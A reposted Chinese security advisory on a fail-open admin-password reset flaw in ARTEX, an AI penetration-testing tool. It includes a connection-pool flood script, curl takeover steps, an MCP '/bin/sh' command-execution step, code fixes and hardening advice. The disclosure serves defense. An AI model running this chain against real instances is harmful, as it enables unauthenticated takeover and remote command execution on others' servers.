【突发】ARTEX存在无条件管理密码重置漏洞,已本地复现

本文转载自微信公众号「星宇Sec」

原文标题:【突发】ARTEX存在无条件管理密码重置漏洞,已本地复现

内容版权归原作者及原公众号所有,转载仅为传播资讯;若有侵权请联系管理员删除。

影响项目:ARTEX(AI自主渗透测试系统)

漏洞类型:认证绕过/无条件密码重置(Fail-Open失败放行)

影响版本:v0.1.0–v0.3.14

修复版本:v0.3.15及以后(mhtsec/ARTEX)


〇、项目背景

ARTEX是一款面向企业攻击面的AI自主渗透测试系统(Go后端+Next.js前端),由作者Autumn-27于2026-07-26发布至GitHub,并于2026-09-03在百度安全「Agent+」攻防能力挑战赛中取得总榜第一。其后,该工具被攻击者恶意利用,引发多起境外金融行业安全事件,作者遂于2026-10-08宣布项目转为闭源。详情参考:

华南理工大学某学生疑似黑入多家韩国金融机构实行网络攻击

目前仍在维护的仓库mhtsec/ARTEX为开源版闭源前最后一个版本的纯源码备份,由「棉花糖」(@mhtsec)接手维护,本文所述漏洞即在该仓库中完成修复。


一、漏洞概述与影响版本

1.1 漏洞概述

ARTEX的「首次设置管理员密码」接口POST /api/auth/init(服务端处理函数为authInit)在判定系统是否已完成密码初始化时,显式忽略了数据库查询返回的error值。而GetSetting在「键不存在」与「读取失败」两种情形下的返回值仅相差一个error:二者的value均为空字符串。

因此,当攻击者设法令该次数据库读取发生错误时,代码会将「查询失败」误判为「从未设置密码」,进而放行一个完全未经认证的请求以覆盖既有的管理员密码,并即时签发合法的管理员JWT。

该缺陷属于典型的Fail-Open(失败放行)模式:安全校验在异常情形下应默认拒绝(fail-closed),却错误地默认放行。

  • CWE:CWE-636(Not Failing Securely/Fail Open)、CWE-754(Improper Check for Unusual or Exceptional Conditions)
  • OWASP Top 10:A01 Broken Access Control、A07 Identification and Authentication Failures;对应OWASP Top 10 2025新增的A10 Mishandling of Exceptional Conditions

1.2 影响版本

版本区间
状态
说明
v0.1.0–v0.3.14
受影响
自仓库首个提交(2026-07-26初始化)起即存在,贯穿全部开源历史版本
v0.3.15 已修复
官方修复提交8d8c102(PR#197,分支fix/auth-init-fail-open,2026-10-07)
v0.3.16–v0.3.19
已修复并持续加固
追加会话撤销、登录限速、持久失败锁定、认证审计、连接池上限等
  • 最早受影响版本:v0.1.0(自仓库首个提交起)。
  • 最后受影响版本:v0.3.14,即项目闭源前发布的最后一个开源版本。
  • 修复起始版本:v0.3.15,由继续维护仓库mhtsec/ARTEX提供。

结论:仍在运行v0.3.14及更早版本的ARTEX实例应立即处置。


二、漏洞原理

2.1 缺陷代码

问题位于server/auth.go的authInit及同文件的authStatus,二者对GetSetting返回值的处理存在缺陷(以v0.3.14为例):

// GET /api/auth/status
func (s *Server) authStatus(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
hash, _, _ := pg.GetSetting(authPassKey) // ← 第三个返回值 error 被丢弃
writeJSON(w, 200, map[string]any{"initialized": hash != ""})
}

// POST /api/auth/init —— 首次设置密码
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
existing, _, _ := pg.GetSetting(authPassKey) // ← error 被丢弃
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}
// …校验、bcrypt 计算…
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { // ← upsert,直接覆盖
writeErr(w, 500, "保存失败: "+err.Error())
return
}
tok, err := signJWT(s.jwtKey)
// …签发管理员 token 并返回…
}

2.2 GetSetting的返回值语义

func (d *DB) GetSetting(key string) (value string, ok bool, err error) {
err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
if err == sql.ErrNoRows {
return"", false, nil // 键不存在:value="" , err=nil
}
if err != nil {
return"", false, err // 读取失败:value="" , err!=nil
}
return value, true, nil
}

「未设置密码」返回("", false, nil),而「数据库读取出错」返回("", false, err)。两种情形的value均为空串,唯一的区分标志是error。authInit却将该error显式忽略,致使:

「查询失败」==(在该逻辑中)==「从未设置密码」

守卫由此被绕过,代码继续执行至SetSetting,以请求体中的密码执行写入(旧版为ON CONFLICT DO UPDATE的upsert语义,将直接覆盖既有密码),随后签发管理员JWT。

2.3 未认证请求的可达性

旧版requireAuth将/api/auth/*整个前缀列入白名单予以豁免:

if strings.HasPrefix(p, "/api/auth/") || p == "/api/health" {
h.ServeHTTP(w, r)
return
}

/api/auth/init的设计意图是供「尚未初始化」的实例使用,天然无需鉴权。正因其免鉴权,攻击者可对其发起任意、并发的调用。这既提供了攻击入口,也构成了制造数据库读取失败的条件。

2.4 触发条件:连接池耗尽

旧版未对PostgreSQL连接池设置上限(database/sql默认不限制应用自身可打开的连接数),亦无并发或频率限制。攻击者仅需并发地向/api/auth/init发起大量请求:

  1. 每个请求均会执行一次GetSetting(及后续bcrypt运算),迅速占满连接;
  2. 连接数达到PostgreSQL的max_connections(默认100)后,后续查询因无法获取连接而报错;
  3. GetSetting返回("", false, err);
  4. authInit忽略该error,判定为「未初始化」,放行请求并写入攻击者指定的密码。

该机制亦可解释事件记录中的异常现象:settings表中密码字段于1.78秒内被写入36次,平均间隔48毫秒;而单次bcrypt运算约需130毫秒,串行执行无法达成,只能是并发请求所致。


三、影响

3.1 直接后果:未认证接管与远程命令执行

管理员密码一旦被覆盖,攻击者即获得合法的管理员JWT,进而可调用全部管理员接口。其中最具危险性的为MCP管理接口:

  • ARTEX的MCP支持stdio传输:在界面中配置command与args后,服务端会将其作为子进程启动。
  • 此乃MCP协议的固有设计,本身并非缺陷;但其含义是「具备MCP创建权限者可于服务器上执行命令」。

故完整攻击链仅需两步:

覆盖管理员密码 → 获取管理员token → 创建stdio型MCP → 服务器命令执行(RCE)

在已公开的事件记录中,受害实例的MCP列表新增如下条目:

name: h1probe
transport: stdio
command: /bin/sh
args: ["-c", "id; hostname; echo H1_STDIO_RCE_OK"]
enabled: true

并伴随日志:[mcp] h1probe添加后工具发现失败: mcp: connection closed。/bin/sh执行完毕后即退出,不会实现MCP协议,连接随即断开,故ARTEX记为「发现失败」。该条报错即命令执行成功的直接证据。

3.2 加剧危害的设计缺陷

  • 认证行为无审计日志:旧版对登录、改密、密码初始化均不作记录。攻击者覆盖密码后几乎不留痕迹,取证方仅能借助PostgreSQL死元组,从settings表恢复出38个历史密码版本,方才还原出时间线。
  • token无会话与密码版本绑定:旧版JWT仅包含sub、iat、exp(有效期7天),缺乏credential绑定,故「修改密码不会使旧token失效」,攻击者已获取的token在有效期内持续可用;欲强制下线,只能轮换签名密钥。
  • 管理端口默认暴露于公网:默认docker-compose.yml将管理端口映射为0.0.0.0:8787->8787,使整个管理入口直接面向公网。

3.3 现实危害

ARTEX作为AI自主渗透测试系统,内建自主扫描、漏洞发现与利用编排能力。实例一旦被接管,攻击者不仅取得服务器控制权,更获得一个可直接用于对外攻击的自动化平台。此类系统若暴露于公网且存在未认证接管缺陷,其风险显著高于一般Web应用。


四、漏洞复现

本节内容仅限本地授权环境下的漏洞验证与防护检测。严禁对任何线上系统或非授权资产发起测试。

4.1 环境

ARTEX(受影响版本,如 v0.3.14) + PostgreSQL
默认管理端口 :8787

4.2 复现步骤

步骤0:正常初始化一次管理员密码(模拟真实用户)

curl -s -X POST http://TARGET:8787/api/auth/init \
-H 'Content-Type: application/json' \
-d '{"password":"LegitPass123"}'
# => {"token":"..."}

此后再次调用应被拒绝(表明密码已设置):

curl -s -o /dev/null -w "%{http_code}\n" -X POST http://TARGET:8787/api/auth/init \
-H 'Content-Type: application/json' -d '{"password":"Another123"}'
# => 403

步骤1:并发请求/api/auth/init,耗尽数据库连接,触发Fail-Open

# flood.py —— 并发触发读取失败
import sys, json, threading, urllib.request, urllib.error

base, pw, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
barrier = threading.Barrier(n)

def hit():
body = json.dumps({"password": pw}).encode()
req = urllib.request.Request(base + "/api/auth/init", data=body,
headers={"Content-Type": "application/json"}, method="POST")
barrier.wait()
try:
urllib.request.urlopen(req, timeout=30).status
except urllib.error.HTTPError:
pass
except Exception:
pass

ts = [threading.Thread(target=hit) for _ in range(n)]
for t in ts: t.start()
for t in ts: t.join()
python flood.py http://TARGET:8787 'PwnedByAttacker123' 400

步骤2:以攻击者密码登录

# 合法密码已失效
curl -s -o /dev/null -w "legit=%{http_code}\n" -X POST http://TARGET:8787/api/auth/login \
-H 'Content-Type: application/json' -d '{"username":"ARTEX","password":"LegitPass123"}'
# => legit=401

# 攻击者密码登录成功,取得管理员token
curl -s -X POST http://TARGET:8787/api/auth/login \
-H 'Content-Type: application/json' -d '{"username":"ARTEX","password":"PwnedByAttacker123"}'
# => {"token":"..."} ← 未认证接管成功

步骤3(危害验证):以所获token创建stdio型MCP,实现命令执行

TOKEN=<上一步取得的token>

curl -s -X POST http://TARGET:8787/api/mcp \
-H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \
-d '{"name":"h1probe","transport":"stdio","command":"/bin/sh",
"args":["-c","id; hostname"],"enabled":true}'

# 服务端将 /bin/sh 作为子进程启动 → 命令执行

4.3 实测结果

版本
400并发请求
合法密码登录
攻击者密码登录
结论
v0.3.14
出现大量200(约55次写库成功)
401 200 接管成功
v0.3.15
全部403
200 401 已修复

实测中,v0.3.14的settings表内auth.password_hash被替换为攻击者的bcrypt哈希;v0.3.15则始终返回503/403,合法密码保持有效。


五、修复版本与措施

漏洞由官方修复提交**8d8c102(PR#197,分支fix/auth-init-fail-open)修复,随v0.3.15**发布,其修复内容与业界通行的处置建议一致:

  1. Fail-Closed:authInit/authStatus读取出错时统一返回503,绝不将「读不到」视为「没有」:
const errDataSourceUnavailable = "数据源暂时不可用,请稍后重试"

existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, errDataSourceUnavailable)
return
}
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}
  1. 将「仅首次可设」下沉至数据库主键约束:写入由SetSetting(upsert,会覆盖)改为InsertSettingIfAbsent(INSERT ... ON CONFLICT DO NOTHING),在并发撞车或读检查失效时亦不会覆盖既有密码:
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, "密码已设置")
return
}
  1. 连接池上限:sqlDB.SetMaxOpenConns(32)、SetMaxIdleConns(32),并补充连接寿命与空闲淘汰,防止应用自身将连接数顶至max_connections。

  2. 回归测试:新增server/auth_test.go,通过主动关闭连接池制造读取失败,断言两处handler均fail-closed。

后续版本(v0.3.17–v0.3.19)进一步加固:

  • 会话撤销:JWT绑定当前密码(cv credential binding claim),改密或脚本重置后旧token立即失效,并关闭旧活动流;
  • 登录限速与持久失败锁定:来源限速、实例总量与并发上限,连续失败达阈值后暂时锁定且跨重启保存;
  • 认证审计:记录成功、失败、锁定与密码变更(不记录凭据与请求正文);
  • 管理端口默认仅绑定本机:单二进制、开发启动与Compose的管理端口默认仅监听127.0.0.1。

升级方式:

# 使用继续维护仓库(含修复)
git clone https://github.com/mhtsec/ARTEX.git && cd ARTEX
cp .env.example .env
docker compose up -d # 或 docker compose build 后 up -d

注意:原Docker镜像源autumn27/artex已失效,当前可用镜像为mianhuatang11/artex(Docker Hub)。请务必确认镜像tag≥v0.3.15。


六、手动修复方法

若无法立即升级,可按以下顺序手动加固。

6.1 第一步:立即撤出公网(优先级最高、见效最快)

修改docker-compose.yml,将管理端口改为仅绑定本机,杜绝公网直接访问:

services:
artex:
ports:
- "127.0.0.1:8787:8787"
- "127.0.0.1:8788:8788"
docker compose up -d

如需远程访问,应通过VPN、SSH隧道或带认证与访问控制的反向代理,切勿直接暴露8787。

6.2 第二步:将authInit改为「失败关闭」

在server/auth.go中,补齐缺失的error判定(authInit与authStatus两处):

// 修改前
existing, _, _ := pg.GetSetting(authPassKey)
if existing != "" { // 读失败时会放行 → 覆盖密码
writeErr(w, 403, "密码已设置")
return
}

// 修改后
existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, "数据源暂时不可用,请稍后重试")
return
}
if existing != "" {
writeErr(w, 403, "密码已设置")
return
}

同时将写密码由upsert改为「仅首插」,交由数据库主键约束兜底:

// 修改前:会覆盖
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { ... }

// 修改后:已存在则不写入
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, "密码已设置")
return
}

6.3 第三步:设置连接池上限

sqlDB.SetMaxOpenConns(20) // 或 32,视 PostgreSQL max_connections 留足余量
sqlDB.SetMaxIdleConns(20)
sqlDB.SetConnMaxLifetime(30 * time.Minute)

6.4 第四步:补充认证日志与失败锁定(纵深防御)

  • 登录、失败、改密、初始化全部落入审计日志(不记录凭据与正文);
  • 登录增加失败计数与锁定,并施加来源限速。

6.5 通用原则

数据库操作失败时,代码必须能够区分「没有」与「查不到」。所有将「读失败」与「未设置」混为一谈的调用,均应逐一审计并改为fail-closed。

6.6 若怀疑已被入侵

  1. 轮换JWT签名密钥(旧token无法失效,必须更换key方能剔除既有会话):删除或替换jwt.key并重启。
  2. 重置管理员密码(使用reset-password.sh)。
  3. 审计MCP与自定义工具列表,删除任何可疑的stdio条目(如异常的command/args)。
  4. 检查数据库settings表中密码行的历史与变更时间。
  5. 排查服务器上由MCP子进程拉起的异常进程与出网连接。

七、时间线

日期
事件
2026-07-26
ARTEX开源发布(含本漏洞,仓库首个提交)
2026-09-03
获百度「Agent+」攻防挑战赛冠军
2026-09-24
发布v0.3.14(闭源前最后一个开源版本,仍受影响)
2026-09-27~10-01
韩国多家金融机构遭入侵(攻击者使用ARTEX)
2026-10-07
CrowdStrike发布报告;同日官方修复并发布v0.3.15
2026-10-08
项目宣布转为闭源;mhtsec/ARTEX作为源码备份继续维护
2026-10-17
继续维护仓库发布v0.3.19(已修复并持续加固)

八、参考文献

[1] CROWDSTRIKE INTELLIGENCE. Unknown threat actor uses AI-driven ARTEX to target South Korean finance[R/OL]. (2026-10-07)[2026-10-17]. https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/.

[2] SALTZER J H, SCHROEDER M D. The protection of information in computer systems[J]. Proceedings of the IEEE, 1975, 63(9): 1278-1308.

[3] MITRE. CWE-636: Not failing securely (‘failing open’)[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/636.html.

[4] MITRE. CWE-754: Improper check for unusual or exceptional conditions[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/754.html.

[5] OWASP FOUNDATION. OWASP top 10: 2021[EB/OL]. [2026-10-17]. https://owasp.org/Top10/.

[6] STUTTARD D, PINTO M. The web application hacker’s handbook: finding and exploiting security flaws[M]. 2nd ed. Indianapolis: Wiley Publishing, 2011.

[7] FreeBuf. 冠军AI渗透工具:ARTEX架构拆解[EB/OL]. (2026-10-11)[2026-10-17]. https://www.freebuf.com/news/506473.html.

[8] mhtsec. ARTEX[CP/OL]. [2026-10-17]. https://github.com/mhtsec/ARTEX.


— 阅读原文请访问微信公众号「星宇Sec」 · 原文链接 —

© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发
头像-阻击者联盟
欢迎您留下宝贵的见解!
提交
头像-阻击者联盟

昵称

取消
昵称表情代码图片快捷回复

    暂无评论内容